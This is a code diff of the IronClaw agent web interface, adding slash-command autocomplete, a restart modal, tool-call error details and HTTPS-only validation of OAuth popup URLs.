// Refresh thread list so new titles appear after first message
loadThreads();
// Show restart modal if the response indicates restart was initiated
if (data.content && data.content.toLowerCase().includes('restart initiated')) {
setTimeout(() => tryShowRestartModal(), 500);
}
});
eventSource.addEventListener('thinking', (e) => {
@@ -156,7 +301,12 @@ function connectSSE() {
eventSource.addEventListener('tool_completed', (e) => {
const data = JSON.parse(e.data);
if (!isCurrentThread(data.thread_id)) return;
completeToolCard(data.name, data.success);
completeToolCard(data.name, data.success, data.error, data.parameters);
// Show restart modal only when the restart tool succeeds
if (data.name.toLowerCase() === 'restart' && data.success) {
setTimeout(() => tryShowRestartModal(), 500);
}
});
eventSource.addEventListener('tool_result', (e) => {
@@ -175,10 +325,10 @@ function connectSSE() {
eventSource.addEventListener('status', (e) => {
const data = JSON.parse(e.data);
if (!isCurrentThread(data.thread_id)) return;
setStatus(data.message);
// "Done" and "Awaiting approval" are terminal signals from the agent:
// the agentic loop finished, so re-enable input as a safety net in case
// the response SSE event is empty or lost.
// Status text is not displayed — inline activity cards handle visual feedback.
if (data.message === 'Done' || data.message === 'Awaiting approval') {
finalizeActivityGroup();
enableChatInput();
@@ -198,13 +348,24 @@ function connectSSE() {
eventSource.addEventListener('auth_required', (e) => {
const data = JSON.parse(e.data);
showAuthCard(data);
if (data.auth_url) {
// OAuth flow: show the auth card with an OAuth button + optional token paste field.
showAuthCard(data);
} else {
// Setup flow: fetch the extension's credential schema and show the multi-field
// configure modal (the same UI used by the Extensions tab "Setup" button).
showConfigureModal(data.extension_name);
}
});
eventSource.addEventListener('auth_completed', (e) => {
const data = JSON.parse(e.data);
// Dismiss whichever UI path was active: auth card (OAuth) or configure modal (setup).
removeAuthCard(data.extension_name);
showToast(data.message, 'success');
closeConfigureModal();
showToast(data.message, data.success ? 'success' : 'error');
// Refresh extensions list so status indicators update
if (currentTab === 'extensions') loadExtensions();
enableChatInput();
});
@@ -264,10 +425,8 @@ function isCurrentThread(threadId) {
function sendMessage() {
const input = document.getElementById('chat-input');
const sendBtn = document.getElementById('send-btn');
if (!currentThreadId) {
console.warn('sendMessage: no thread selected, ignoring');
setStatus('Waiting for thread to load...');
return;
}
const content = input.value.trim();
@@ -276,27 +435,82 @@ function sendMessage() {
addMessage('user', content);
input.value = '';
autoResizeTextarea(input);
sendBtn.disabled = true;
input.disabled = true;
input.focus();
apiFetch('/api/chat/send', {
method: 'POST',
body: { content, thread_id: currentThreadId || undefined },
}).catch((err) => {
addMessage('system', 'Failed to send: ' + err.message);
setStatus('');
enableChatInput();
});
}
function enableChatInput() {
// Don't re-enable until a thread is selected (prevents orphan messages)
if (!currentThreadId) return;
// no-op: input and send button are always enabled
}
// --- Slash Autocomplete ---
function showSlashAutocomplete(matches) {
const el = document.getElementById('slash-autocomplete');
if (!el || matches.length === 0) { hideSlashAutocomplete(); return; }
_slashMatches = matches;
_slashSelected = -1;
el.innerHTML = '';
matches.forEach((item, i) => {
const row = document.createElement('div');
row.className = 'slash-ac-item';
row.dataset.index = i;
var cmdSpan = document.createElement('span');
cmdSpan.className = 'slash-ac-cmd';
cmdSpan.textContent = item.cmd;
var descSpan = document.createElement('span');
descSpan.className = 'slash-ac-desc';
descSpan.textContent = item.desc;
row.appendChild(cmdSpan);
row.appendChild(descSpan);
row.addEventListener('mousedown', (e) => {
e.preventDefault(); // prevent blur
selectSlashItem(item.cmd);
});
el.appendChild(row);
});
el.style.display = 'block';
}
function hideSlashAutocomplete() {
const el = document.getElementById('slash-autocomplete');
if (el) el.style.display = 'none';
_slashSelected = -1;
_slashMatches = [];
}
function selectSlashItem(cmd) {
const input = document.getElementById('chat-input');
const sendBtn = document.getElementById('send-btn');
sendBtn.disabled = false;
input.disabled = false;
input.value = cmd + ' ';
input.focus();
hideSlashAutocomplete();
autoResizeTextarea(input);
}
function updateSlashHighlight() {
const items = document.querySelectorAll('#slash-autocomplete .slash-ac-item');
items.forEach((el, i) => el.classList.toggle('selected', i === _slashSelected));
if (_slashSelected >= 0 && items[_slashSelected]) {
items[_slashSelected].scrollIntoView({ block: 'nearest' });
}
}
function filterSlashCommands(value) {
if (!value.startsWith('/')) { hideSlashAutocomplete(); return; }
// Only show autocomplete when the input is just a slash command prefix (no spaces except /thread new)
const lower = value.toLowerCase();
const matches = SLASH_COMMANDS.filter((c) => c.cmd.startsWith(lower));
if (matches.length === 0 || (matches.length === 1 && matches[0].cmd === lower.trimEnd())) {
hideSlashAutocomplete();
} else {
showSlashAutocomplete(matches);
}
}
function sendApprovalAction(requestId, action) {
@@ -320,6 +534,8 @@ function sendApprovalAction(requestId, action) {
const labelText = action === 'approve' ? 'Approved' : action === 'always' ? 'Always approved' : 'Denied';
label.textContent = labelText;
actions.appendChild(label);
// Remove the card after showing the confirmation briefly
setTimeout(() => { card.remove(); }, 1500);
}
}
@@ -395,15 +611,6 @@ function appendToLastAssistant(chunk) {
}
}
function setStatus(text) {
const el = document.getElementById('chat-status');
if (!text) {
el.innerHTML = '';
return;
}
el.innerHTML = escapeHtml(text);
}
// --- Inline Tool Activity Cards ---
function getOrCreateActivityGroup() {
@@ -514,7 +721,7 @@ function addToolCard(name) {
container.scrollTop = container.scrollHeight;
}
function completeToolCard(name, success) {
function completeToolCard(name, success, error, parameters) {
const entries = _activeToolCards[name];
if (!entries || entries.length === 0) return;
// Find first running card
@@ -535,6 +742,27 @@ function completeToolCard(name, success) {
? '<span class="activity-icon-success">&#10003;</span>'
: '<span class="activity-icon-fail">&#10007;</span>';
entry.card.setAttribute('data-status', success ? 'success' : 'fail');
// For failed tools, populate the body with error details and auto-expand
if (!success && (error || parameters)) {
const output = entry.card.querySelector('.activity-tool-output');
if (output) {
let detail = '';
if (parameters) {
detail += 'Input:\n' + parameters + '\n\n';
}
if (error) {
detail += 'Error:\n' + error;
}
output.textContent = detail;
// Auto-expand so the error is immediately visible
const body = entry.card.querySelector('.activity-tool-body');
const chevron = entry.card.querySelector('.activity-tool-chevron');
if (body) body.style.display = 'block';
if (chevron) chevron.classList.add('expanded');
}
}
}
function setToolCardOutput(name, preview) {
@@ -775,7 +1003,7 @@ function showAuthCard(data) {
oauthBtn.className = 'auth-oauth';
oauthBtn.textContent = 'Authenticate with ' + data.extension_name;
oauthBtn.addEventListener('click', () => {
window.open(data.auth_url, '_blank', 'width=600,height=700');
openOAuthUrl(data.auth_url);
});
links.appendChild(oauthBtn);
}
@@ -798,7 +1026,7 @@ function showAuthCard(data) {
const tokenInput = document.createElement('input');
tokenInput.type = 'password';
tokenInput.placeholder = 'Paste your API key or token';
tokenInput.placeholder = data.instructions || 'Paste your API key or token';
tokenInput.addEventListener('keydown', (e) => {
if (e.key === 'Enter') submitAuthToken(data.extension_name, tokenInput.value);
});
@@ -907,10 +1135,22 @@ function loadHistory(before) {
container.innerHTML = '';
for (const turn of data.turns) {
addMessage('user', turn.user_input);
if (turn.tool_calls && turn.tool_calls.length > 0) {
addToolCallsSummary(turn.tool_calls);
}
if (turn.response) {
addMessage('assistant', turn.response);
}
}
// Show processing indicator if the last turn is still in-progress
var lastTurn = data.turns.length > 0 ? data.turns[data.turns.length - 1] : null;
if (lastTurn && !lastTurn.response && lastTurn.state === 'Processing') {
showActivityThinking('Processing...');
}
// Re-render pending approval card if the thread is awaiting approval
if (data.pending_approval) {
showApproval(data.pending_approval);
}
} else {
// Pagination: prepend older messages
const savedHeight = container.scrollHeight;
@@ -918,6 +1158,9 @@ function loadHistory(before) {
for (const turn of data.turns) {
const userDiv = createMessageElement('user', turn.user_input);
fragment.appendChild(userDiv);
if (turn.tool_calls && turn.tool_calls.length > 0) {
fragment.appendChild(createToolCallsSummaryElement(turn.tool_calls));
}
if (turn.response) {
const assistantDiv = createMessageElement('assistant', turn.response);
fragment.appendChild(assistantDiv);
@@ -951,6 +1194,61 @@ function createMessageElement(role, content) {
return div;
}
function addToolCallsSummary(toolCalls) {
const container = document.getElementById('chat-messages');
container.appendChild(createToolCallsSummaryElement(toolCalls));
container.scrollTop = container.scrollHeight;
}
function createToolCallsSummaryElement(toolCalls) {
const div = document.createElement('div');
div.className = 'tool-calls-summary';
const header = document.createElement('div');
header.className = 'tool-calls-header';
header.textContent = toolCalls.length + ' tool' + (toolCalls.length !== 1 ? 's' : '') + ' used';
div.appendChild(header);
const list = document.createElement('div');
list.className = 'tool-calls-list';
for (const tc of toolCalls) {
const item = document.createElement('div');
item.className = 'tool-call-item' + (tc.has_error ? ' tool-error' : '');
const icon = tc.has_error ? '\u2717' : '\u2713';
const nameSpan = document.createElement('span');
nameSpan.className = 'tool-call-name';
nameSpan.textContent = icon + ' ' + tc.name;
item.appendChild(nameSpan);
if (tc.result_preview) {
const preview = document.createElement('div');
preview.className = 'tool-call-preview';
preview.textContent = tc.result_preview;
item.appendChild(preview);
}
if (tc.error) {
const errDiv = document.createElement('div');
errDiv.className = 'tool-call-error-text';
errDiv.textContent = tc.error;
item.appendChild(errDiv);
}
list.appendChild(item);
}
div.appendChild(list);
header.style.cursor = 'pointer';
header.addEventListener('click', () => {
list.classList.toggle('expanded');
header.classList.toggle('expanded');
});
return div;
}
function removeScrollSpinner() {
const spinner = document.getElementById('scroll-load-spinner');
if (spinner) spinner.remove();
@@ -1026,7 +1324,6 @@ function createNewThread() {
apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => {
currentThreadId = data.id || null;
document.getElementById('chat-messages').innerHTML = '';
setStatus('');
loadThreads();
}).catch((err) => {
showToast('Failed to create thread: ' + err.message, 'error');
@@ -1043,16 +1340,50 @@ function toggleThreadSidebar() {
// Chat input auto-resize and keyboard handling
const chatInput = document.getElementById('chat-input');
chatInput.addEventListener('keydown', (e) => {
const acEl = document.getElementById('slash-autocomplete');
const acVisible = acEl && acEl.style.display !== 'none';
if (acVisible) {
const items = acEl.querySelectorAll('.slash-ac-item');
if (e.key === 'ArrowDown') {
e.preventDefault();
_slashSelected = Math.min(_slashSelected + 1, items.length - 1);
updateSlashHighlight();
return;
}
if (e.key === 'ArrowUp') {
e.preventDefault();
_slashSelected = Math.max(_slashSelected - 1, -1);
updateSlashHighlight();
return;
}
if (e.key === 'Tab' || e.key === 'Enter') {
e.preventDefault();
const pick = _slashSelected >= 0 ? _slashMatches[_slashSelected] : _slashMatches[0];
if (pick) selectSlashItem(pick.cmd);
return;
}
if (e.key === 'Escape') {
e.preventDefault();
hideSlashAutocomplete();
return;
}
}
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault();
hideSlashAutocomplete();
sendMessage();
}
});
chatInput.addEventListener('input', () => autoResizeTextarea(chatInput));
// Disable send until a thread is selected (loadThreads will enable it)
chatInput.disabled = true;
document.getElementById('send-btn').disabled = true;
chatInput.addEventListener('input', () => {
autoResizeTextarea(chatInput);
filterSlashCommands(chatInput.value);
});
chatInput.addEventListener('blur', () => {
// Small delay so mousedown on autocomplete item fires first
setTimeout(hideSlashAutocomplete, 150);
});
// Infinite scroll: load older messages when scrolled near the top
document.getElementById('chat-messages').addEventListener('scroll', function () {
@@ -1283,7 +1614,9 @@ function buildBreadcrumb(path) {
let current = '';
for (const part of parts) {
current += (current ? '/' : '') + part;
html += ' / <a onclick="readMemoryFile(\'' + escapeHtml(current) + '\')">' + escapeHtml(part) + '</a>';
// Store the path in data-path (HTML-escaped) and read it back via this.dataset.path
// to avoid single-quote injection in inline JS string literals.
html += ' / <a onclick="readMemoryFile(this.dataset.path)" data-path="' + escapeHtml(current) + '">' + escapeHtml(part) + '</a>';
}
return html;
}
@@ -1458,10 +1791,8 @@ function applyLogFilters() {
function setServerLogLevel(level) {
apiFetch('/api/logs/level', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ level: level }),
body: { level },
})
.then(r => r.json())
.then(data => {
document.getElementById('logs-server-level').value = data.level;
})
@@ -1470,7 +1801,6 @@ function setServerLogLevel(level) {
function loadServerLogLevel() {
apiFetch('/api/logs/level')
.then(r => r.json())
.then(data => {
document.getElementById('logs-server-level').value = data.level;
})
@@ -1479,6 +1809,8 @@ function loadServerLogLevel() {
// --- Extensions ---
var kindLabels = { 'wasm_channel': 'Channel', 'wasm_tool': 'Tool', 'mcp_server': 'MCP' };
function loadExtensions() {
const extList = document.getElementById('extensions-list');
const wasmList = document.getElementById('available-wasm-list');
@@ -1554,7 +1886,7 @@ function renderAvailableExtensionCard(entry) {
const kind = document.createElement('span');
kind.className = 'ext-kind kind-' + entry.kind;
kind.textContent = entry.kind;
kind.textContent = kindLabels[entry.kind] || entry.kind;
header.appendChild(kind);
card.appendChild(header);
@@ -1586,6 +1918,11 @@ function renderAvailableExtensionCard(entry) {
}).then(function(res) {
if (res.success) {
showToast('Installed ' + entry.display_name, 'success');
// OAuth popup if auth started during install (builtin creds)
if (res.auth_url) {
showToast('Opening authentication for ' + entry.display_name, 'info');
openOAuthUrl(res.auth_url);
}
loadExtensions();
// Auto-open configure for WASM channels
if (entry.kind === 'wasm_channel') {
@@ -1620,7 +1957,7 @@ function renderMcpServerCard(entry, installedExt) {
var kind = document.createElement('span');
kind.className = 'ext-kind kind-mcp_server';
kind.textContent = 'mcp_server';
kind.textContent = kindLabels['mcp_server'] || 'mcp_server';
header.appendChild(kind);
if (installedExt) {
@@ -1704,12 +2041,12 @@ function renderExtensionCard(ext) {
const name = document.createElement('span');
name.className = 'ext-name';
name.textContent = ext.name;
name.textContent = ext.display_name || ext.name;
header.appendChild(name);
const kind = document.createElement('span');
kind.className = 'ext-kind kind-' + ext.kind;
kind.textContent = ext.kind;
kind.textContent = kindLabels[ext.kind] || ext.kind;
header.appendChild(kind);
// Auth dot only for non-WASM-channel extensions (channels use the stepper instead)
@@ -1742,7 +2079,7 @@ function renderExtensionCard(ext) {
card.appendChild(url);
}
if (ext.tools.length > 0) {
if (ext.tools && ext.tools.length > 0) {
const tools = document.createElement('div');
tools.className = 'ext-tools';
tools.textContent = 'Tools: ' + ext.tools.join(', ');
@@ -1757,14 +2094,6 @@ function renderExtensionCard(ext) {
card.appendChild(errorDiv);
}
// Show "coming soon" note for non-Telegram channels that are configured but not fully supported yet
if (ext.kind === 'wasm_channel' && ext.name !== 'telegram'
&& (ext.activation_status === 'configured' || ext.active)) {
const noteDiv = document.createElement('div');
noteDiv.className = 'ext-note';
noteDiv.textContent = 'Full integration coming soon. Use the CLI to complete setup.';
card.appendChild(noteDiv);
}
const actions = document.createElement('div');
actions.className = 'ext-actions';
@@ -1785,11 +2114,6 @@ function renderExtensionCard(ext) {
actions.appendChild(pairingLabel);
actions.appendChild(createReconfigureButton(ext.name));
} else if (status === 'failed') {
var restartBtn = document.createElement('button');
restartBtn.className = 'btn-ext activate';
restartBtn.textContent = 'Restart';
restartBtn.addEventListener('click', restartGateway);
actions.appendChild(restartBtn);
actions.appendChild(createReconfigureButton(ext.name));
} else {
// installed or configured: show Setup button
@@ -1800,21 +2124,26 @@ function renderExtensionCard(ext) {
actions.appendChild(setupBtn);
}
} else {
// Non-WASM-channel extensions: original behavior
if (!ext.active) {
// WASM tools / MCP servers
const activeLabel = document.createElement('span');
activeLabel.className = 'ext-active-label';
activeLabel.textContent = ext.active ? 'Active' : 'Installed';
actions.appendChild(activeLabel);
// MCP servers may be installed but inactive — show Activate button
if (ext.kind === 'mcp_server' && !ext.active) {
const activateBtn = document.createElement('button');
activateBtn.className = 'btn-ext activate';
activateBtn.textContent = 'Activate';
activateBtn.addEventListener('click', () => activateExtension(ext.name));
actions.appendChild(activateBtn);
} else {
const activeLabel = document.createElement('span');
activeLabel.className = 'ext-active-label';
activeLabel.textContent = 'Active';
actions.appendChild(activeLabel);
}
if (ext.needs_setup) {
// Show Configure/Reconfigure button when there are secrets to enter.
// Skip when has_auth is true but needs_setup is false and not yet authenticated —
// this means OAuth credentials resolve automatically (builtin/env) and the user
// just needs to complete the OAuth flow, not fill in a config form.
if (ext.needs_setup || (ext.has_auth && ext.authenticated)) {
const configBtn = document.createElement('button');
configBtn.className = 'btn-ext configure';
configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure';
@@ -1847,13 +2176,18 @@ function activateExtension(name) {
apiFetch('/api/extensions/' + encodeURIComponent(name) + '/activate', { method: 'POST' })
.then((res) => {
if (res.success) {
// Even on success, the tool may need OAuth (e.g., WASM loaded but no token yet)
if (res.auth_url) {
showToast('Opening authentication for ' + name, 'info');
openOAuthUrl(res.auth_url);
}
loadExtensions();
return;
}
if (res.auth_url) {
showToast('Opening authentication for ' + name, 'info');
window.open(res.auth_url, '_blank');
openOAuthUrl(res.auth_url);
} else if (res.awaiting_token) {
showConfigureModal(name);
} else {
@@ -1938,7 +2272,8 @@ function renderConfigureModal(name, secrets) {
if (secret.provided) {
const badge = document.createElement('span');
badge.className = 'field-provided';
badge.textContent = 'Set';
badge.textContent = '\u2713';
badge.title = 'Already configured';
inputRow.appendChild(badge);
}
if (secret.auto_generate && !secret.provided) {
@@ -1994,21 +2329,22 @@ function submitConfigureModal(name, fields) {
body: { secrets },
})
.then((res) => {
closeConfigureModal();
if (res.success) {
if (res.activated && name === 'telegram') {
showToast('Configured and activated ' + name, 'success');
} else if (res.activated) {
showToast('Configured ' + name + ' successfully', 'success');
} else if (res.needs_restart) {
showToast('Configured ' + name + '. Restart required to activate.', 'info');
} else {
showToast(res.message, 'success');
closeConfigureModal();
if (res.auth_url) {
// OAuth flow started — open consent popup. The auth_completed SSE will
// not arrive immediately (it fires after OAuth callback), so show a toast now.
showToast('Opening OAuth authorization for ' + name, 'info');
openOAuthUrl(res.auth_url);
loadExtensions();
}
// For non-OAuth success: the server always broadcasts auth_completed SSE,
// which will show the toast and refresh extensions — no need to do it here too.
} else {
// Keep modal open so the user can correct their input and retry.
btns.forEach(function(b) { b.disabled = false; });
showToast(res.message || 'Configuration failed', 'error');
}
loadExtensions();
})
.catch((err) => {
btns.forEach(function(b) { b.disabled = false; });
@@ -2021,6 +2357,25 @@ function closeConfigureModal() {
if (existing) existing.remove();
}
// Validate that a server-supplied OAuth URL is HTTPS before opening a popup.
// Rejects javascript:, data:, and other non-HTTPS schemes to prevent URL-injection.
// Uses the URL constructor to safely parse and validate the scheme, which also
// handles non-string values (objects, null, etc.) that would throw on .startsWith().
function openOAuthUrl(url) {
let parsed;
try {
parsed = new URL(url);
if (parsed.protocol !== 'https:') {
throw new Error('non-HTTPS protocol: ' + parsed.protocol);
}
} catch (e) {
console.warn('Blocked invalid/non-HTTPS OAuth URL:', url, e.message);
showToast('Invalid OAuth URL returned by server', 'error');
return;
}
window.open(parsed.href, '_blank', 'width=600,height=700');
}
// --- Pairing ---
function loadPairingRequests(channel, container) {
@@ -2067,7 +2422,7 @@ function approvePairing(channel, code, container) {
}).then(res => {
if (res.success) {
showToast('Pairing approved', 'success');
loadPairingRequests(channel, container);
loadExtensions();
} else {
showToast(res.message || 'Approve failed', 'error');
}
@@ -2090,53 +2445,6 @@ function stopPairingPoll() {
}
}
// --- Gateway restart ---
function restartGateway() {
if (!confirm('Restart IronClaw gateway? Active connections will be dropped.')) return;
apiFetch('/api/gateway/restart', { method: 'POST' })
.then(function() {
showRestartOverlay();
})
.catch(function() {
showRestartOverlay();
});
}
function showRestartOverlay() {
var overlay = document.createElement('div');
overlay.className = 'restart-overlay';
overlay.innerHTML = '<div class="restart-message">'
+ '<div class="restart-spinner"></div>'
+ '<h2>Restarting IronClaw...</h2>'
+ '<p>Waiting for server to come back online</p>'
+ '</div>';
document.body.appendChild(overlay);
var pollCount = 0;
var pollTimer = setInterval(function() {
pollCount++;
if (pollCount > 30) { // 60 seconds
clearInterval(pollTimer);
overlay.querySelector('h2').textContent = 'Restart timed out';
overlay.querySelector('p').textContent = 'Server did not come back within 60 seconds. Check logs.';
overlay.querySelector('.restart-spinner').style.display = 'none';
return;
}
fetch('/api/gateway/status', {
headers: { 'Authorization': 'Bearer ' + token },
})
.then(function(r) {
if (r.ok) {
clearInterval(pollTimer);
window.location.reload();
}
})
.catch(function() { /* still restarting */ });
}, 2000);
}
// --- WASM channel stepper ---
function renderWasmChannelStepper(ext) {
@@ -2144,23 +2452,17 @@ function renderWasmChannelStepper(ext) {
stepper.className = 'ext-stepper';
var status = ext.activation_status || 'installed';
var isTelegram = ext.name === 'telegram';
// Telegram gets a 3-step stepper (Installed → Configured → Active/Pairing).
// Other channels only get 2 steps (Installed → Configured) since full
// integration isn't available in the web UI yet.
var steps = [
{ label: 'Installed', key: 'installed' },
{ label: 'Configured', key: 'configured' },
{ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' },
];
if (isTelegram) {
steps.push({ label: status === 'pairing' ? 'Awaiting Pairing' : 'Active', key: 'active' });
}
var reachedIdx;
if (status === 'active') reachedIdx = isTelegram ? 2 : 1;
if (status === 'active') reachedIdx = 2;
else if (status === 'pairing') reachedIdx = 2;
else if (status === 'failed') reachedIdx = isTelegram ? 2 : 1;
else if (status === 'failed') reachedIdx = 2;
else if (status === 'configured') reachedIdx = 1;
else reachedIdx = 0;
@@ -2271,9 +2573,8 @@ function renderJobsList(jobs) {
let actionBtns = '';
if (job.state === 'pending' || job.state === 'in_progress') {
actionBtns = '<button class="btn-cancel" onclick="event.stopPropagation(); cancelJob(\'' + job.id + '\')">Cancel</button>';
} else if (job.state === 'failed' || job.state === 'interrupted') {
actionBtns = '<button class="btn-restart" onclick="event.stopPropagation(); restartJob(\'' + job.id + '\')">Restart</button>';
}
// Retry is only shown in the detail view where can_restart is available.
return '<tr class="job-row" onclick="openJobDetail(\'' + job.id + '\')">'
+ '<td title="' + escapeHtml(job.id) + '">' + shortId + '</td>'
@@ -2302,10 +2603,12 @@ function restartJob(jobId) {
apiFetch('/api/jobs/' + jobId + '/restart', { method: 'POST' })
.then((res) => {
showToast('Job restarted as ' + (res.new_job_id || '').substring(0, 8), 'success');
loadJobs();
})
.catch((err) => {
showToast('Failed to restart job: ' + err.message, 'error');
})
.finally(() => {
loadJobs();
});
}
@@ -2340,8 +2643,8 @@ function renderJobDetail(job) {
+ '<h2>' + escapeHtml(job.title) + '</h2>'
+ '<span class="badge ' + stateClass + '">' + escapeHtml(job.state) + '</span>';
if (job.state === 'failed' || job.state === 'interrupted') {
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Restart</button>';
if ((job.state === 'failed' || job.state === 'interrupted') && job.can_restart === true) {
headerHtml += '<button class="btn-restart" onclick="restartJob(\'' + job.id + '\')">Retry</button>';
}
if (job.browse_url) {
headerHtml += '<a class="btn-browse" href="' + escapeHtml(job.browse_url) + '" target="_blank">Browse Files</a>';
@@ -2588,7 +2891,7 @@ function renderJobActivity(container, job) {
activityCurrentJobId = job ? job.id : null;
activityRenderedLiveIndex = 0;
container.innerHTML = '<div class="activity-toolbar">'
let html = '<div class="activity-toolbar">'
+ '<select id="activity-type-filter">'
+ '<option value="all">All Events</option>'
+ '<option value="message">Messages</option>'
@@ -2597,12 +2900,17 @@ function renderJobActivity(container, job) {
+ '</select>'
+ '<label class="logs-checkbox"><input type="checkbox" id="activity-autoscroll" checked> Auto-scroll</label>'
+ '</div>'
+ '<div class="activity-terminal" id="activity-terminal"></div>'
+ '<div class="activity-input-bar" id="activity-input-bar">'
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
+ '<button id="activity-send-btn">Send</button>'
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
+ '</div>';
+ '<div class="activity-terminal" id="activity-terminal"></div>';
if (job && job.can_prompt === true) {
html += '<div class="activity-input-bar" id="activity-input-bar">'
+ '<input type="text" id="activity-prompt-input" placeholder="Send follow-up prompt..." />'
+ '<button id="activity-send-btn">Send</button>'
+ '<button id="activity-done-btn" title="Signal done">Done</button>'
+ '</div>';
}
container.innerHTML = html;
document.getElementById('activity-type-filter').addEventListener('change', applyActivityFilter);
@@ -2611,9 +2919,9 @@ function renderJobActivity(container, job) {
const sendBtn = document.getElementById('activity-send-btn');
const doneBtn = document.getElementById('activity-done-btn');
sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
input.addEventListener('keydown', (e) => {
if (sendBtn) sendBtn.addEventListener('click', () => sendJobPrompt(job.id, false));
if (doneBtn) doneBtn.addEventListener('click', () => sendJobPrompt(job.id, true));
if (input) input.addEventListener('keydown', (e) => {
if (e.key === 'Enter') sendJobPrompt(job.id, false);
});
@@ -2900,7 +3208,11 @@ function renderRoutineDetail(routine) {
function triggerRoutine(id) {
apiFetch('/api/routines/' + id + '/trigger', { method: 'POST' })
.then(() => showToast('Routine triggered', 'success'))
.then(() => {
showToast('Routine triggered', 'success');
if (currentRoutineId === id) openRoutineDetail(id);
else loadRoutines();
})
.catch((err) => showToast('Trigger failed: ' + err.message, 'error'));
}
@@ -3450,7 +3762,7 @@ function formatTimeAgo(epochMs) {
}
function installSkill(nameOrSlug, url, btn) {
var body = { name: nameOrSlug };
var body = { name: nameOrSlug, slug: nameOrSlug };
if (url) body.url = url;
apiFetch('/api/skills/install', {
@@ -3541,8 +3853,13 @@ document.addEventListener('keydown', (e) => {
return;
}
// Escape: close job detail or blur input
// Escape: close autocomplete, job detail, or blur input
if (e.key === 'Escape') {
const acEl = document.getElementById('slash-autocomplete');
if (acEl && acEl.style.display !== 'none') {
hideSlashAutocomplete();
return;
}
if (currentJobId) {
closeJobDetail();
} else if (inInput) {
+53 -3
View File
@@ -2,7 +2,7 @@
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
<title>IronClaw</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon">
<link rel="preconnect" href="https://fonts.googleapis.com">
@@ -33,6 +33,48 @@
</div>
</div>
<!-- Restart Confirmation Modal -->
<div id="restart-confirm-modal" class="restart-modal" style="display: none;">
<div class="restart-modal-overlay" onclick="cancelRestart()"></div>
<div class="restart-modal-content">
<div class="restart-modal-header">
<h2>Restart IronClaw Instance</h2>
<button class="restart-modal-close" onclick="cancelRestart()" title="Close">×</button>
</div>
<div class="restart-modal-body">
<p class="restart-modal-description">
Are you sure you want to restart the IronClaw instance? This will gracefully restart the process.
</p>
<div class="restart-modal-warning">
<span class="restart-modal-warning-icon">⚠️</span>
<p>Any in-progress jobs may be interrupted. The restart will complete within a few seconds.</p>
</div>
</div>
<div class="restart-modal-footer">
<button class="restart-modal-btn cancel" onclick="cancelRestart()">Cancel</button>
<button class="restart-modal-btn confirm" onclick="confirmRestart()">Confirm Restart</button>
</div>
</div>
</div>
<!-- Restart Progress Modal -->
<div id="restart-loader" class="restart-loader" style="display: none;">
<div class="restart-loader-overlay"></div>
<div class="restart-loader-content">
<div class="restart-spinner"></div>
<div class="restart-loader-text">
<p class="restart-title">Restarting IronClaw</p>
<p class="restart-subtitle">Please wait while the process restarts...</p>
</div>
<div class="restart-progress-bar">
<div class="restart-progress-fill"></div>
</div>
<p class="restart-modal-info">
Check the Logs tab for details after the restart completes.
</p>
</div>
</div>
<!-- Main App (hidden until authenticated) -->
<div id="app">
<!-- Tab Bar -->
@@ -57,6 +99,14 @@
<span id="sse-status">Connected</span>
<div class="gateway-popover" id="gateway-popover"></div>
</div>
<button class="restart-btn" id="restart-btn" onclick="triggerRestart()" title="Gracefully restart the process">
<svg id="restart-icon" width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M23 4v6h-6"></path>
<path d="M1 20v-6h6"></path>
<path d="M3.51 9a9 9 0 0114.85-3.36M20.49 15a9 9 0 01-14.85 3.36"></path>
</svg>
<span>Restart</span>
</button>
</div>
<!-- Chat Tab -->
@@ -78,9 +128,9 @@
</div>
<div class="chat-container">
<div class="chat-messages" id="chat-messages"></div>
<div class="chat-status" id="chat-status"></div>
<div id="slash-autocomplete" class="slash-autocomplete" style="display:none"></div>
<div class="chat-input">
<textarea id="chat-input" placeholder="Type a message..." rows="1"></textarea>
<textarea id="chat-input" placeholder="Message or / for commands..." rows="1"></textarea>
<button id="send-btn" onclick="sendMessage()">Send</button>
</div>
</div>
+397 -63
View File
@@ -30,6 +30,7 @@ body {
background: var(--bg);
color: var(--text);
height: 100vh;
height: 100dvh;
display: flex;
flex-direction: column;
overflow: hidden;
@@ -41,6 +42,7 @@ body {
align-items: center;
justify-content: center;
height: 100vh;
height: 100dvh;
}
.auth-card-login {
@@ -141,6 +143,7 @@ body {
display: none;
flex-direction: column;
height: 100vh;
height: 100dvh;
}
/* Tab Bar */
@@ -256,6 +259,284 @@ body {
white-space: nowrap;
}
/* Restart Button */
.restart-btn {
display: flex;
align-items: center;
gap: 0.375rem;
padding: 0.25rem 0.75rem;
border-radius: 0.5rem;
font-size: 0.8rem;
border: 1px solid;
border-color: #00d894;
color: #00d894;
background-color: transparent;
cursor: pointer;
transition: color 150ms, background-color 150ms, border-color 150ms;
}
.restart-btn:hover:not(:disabled) {
background-color: rgba(0, 216, 148, 0.1);
}
.restart-btn:disabled {
border-color: #333;
color: #666;
cursor: not-allowed;
}
.restart-btn:disabled:hover {
background-color: transparent;
}
.restart-btn svg {
flex-shrink: 0;
width: 13px;
height: 13px;
}
.restart-btn svg.spinning {
animation: spin-icon 1s linear infinite;
}
@keyframes spin-icon {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
/* Restart Loader Overlay */
.restart-loader {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.restart-loader-overlay {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
backdrop-filter: blur(4px);
z-index: -1;
}
.restart-loader-content {
position: relative;
z-index: 10000;
